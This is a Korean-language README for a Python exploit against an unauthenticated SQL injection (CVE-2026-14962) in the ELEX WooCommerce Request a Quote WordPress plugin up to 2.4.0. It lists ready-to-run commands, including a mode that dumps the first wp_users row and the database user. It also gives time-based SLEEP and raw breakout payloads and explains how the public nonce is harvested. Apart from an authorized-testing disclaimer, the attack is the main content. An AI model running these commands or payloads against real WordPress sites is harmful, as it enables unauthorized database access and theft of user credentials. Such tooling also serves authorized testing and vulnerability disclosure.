
Wordpress 플러그인 ELEX WooCommerce Request a Quote 인증되지 않은 SQL 인젝션
Wordpress Plugin ELEX WooCommerce Request a Quote 인증되지 않은 SQL 인젝션
ELEX WooCommerce Request a Quote (WordPress 플러그인 elex-request-a-quote) ≤ 2.4.0 — 공개 elex_raq_add_to_quote AJAX 액션을 통한 인증되지 않은 SQL 인젝션.
허가된 테스트 전용입니다. 소유하지 않았거나 테스트 권한이 없는 시스템에 대해 실행하지 마십시오.
요구 사항: Python 3, 표준 라이브러리만 사용. 대상이 WooCommerce를 실행 중이어야 합니다 (quote 스크립트/nonce는 shop/home 페이지에 출력됩니다).
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u https://TARGET --test --insecure
python3 cve-2026-14962-elex-raq-sqli.py -u TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump --pid 11
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sleep 3
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sql 'OR JSON_ARRAY(SLEEP(3)))#'
| 플래그 | 기능 |
|---|
-u / --url | WordPress 사이트 루트 (필수). http:// 또는 https://; 호스트명은 HTTPS를 먼저 시도한 후 HTTP를 시도합니다. 자체 서명 TLS는 자동으로 재시도됩니다. --insecure는 처음부터 verify를 건너뜁니다 |
--test | 게스트: 플러그인 버전 + 공개 nonce, 그런 다음 비파괴적 $0 SQL 프로브 |
--dump | 첫 번째 wp_users 행 + DB 사용자. XPATH 오류가 HTTP 본문에 나타나려면 WP_DEBUG가 필요합니다 |
--query SQL | 사용자 정의 SQL 표현식 (작은따옴표 없음; 문자열에는 0x… 16진수 사용) |
--sql EXPR | $0$0 브레이크아웃 이후의 원시 data[id] (사용자가 ) OR … # 가젯을 작성) |
--sleep N | 시간 기반 SLEEP(N) 시도 |
--pid / --vid | WooCommerce 제품 / 변형 id (sink에 도달하려면 변형이 비어 있지 않아야 함) |
--insecure | TLS verify 건너뛰기 |
--timeout | HTTP 타임아웃 초 (기본값 30) |
인증되지 않음. nonce는 / 및 /shop/의 request_a_quote_ajax_obj에 출력됩니다. 게스트 쿠키는 request_a_quote_user_coockie입니다 (플러그인의 표기).
--test는 attribute_value=$0을 POST합니다. 취약한 2.4.0의 preg_replace는 $0을 %s 매치로 취급하고 쿼리에 리터럴 %d를 남깁니다. 2.4.1은 JSON_CONTAINS를 바인딩하며 $0은 JSON 값일 뿐입니다.
Stdout: VERSION, NONCE, VULNERABLE, NOT_VULNERABLE, NOT_FOUND, NO_NONCE, NO_DUMP, SQLERR, SLEEP.
CVE: CVE-2026-14962. 플러그인 변경 로그 2.4.1.
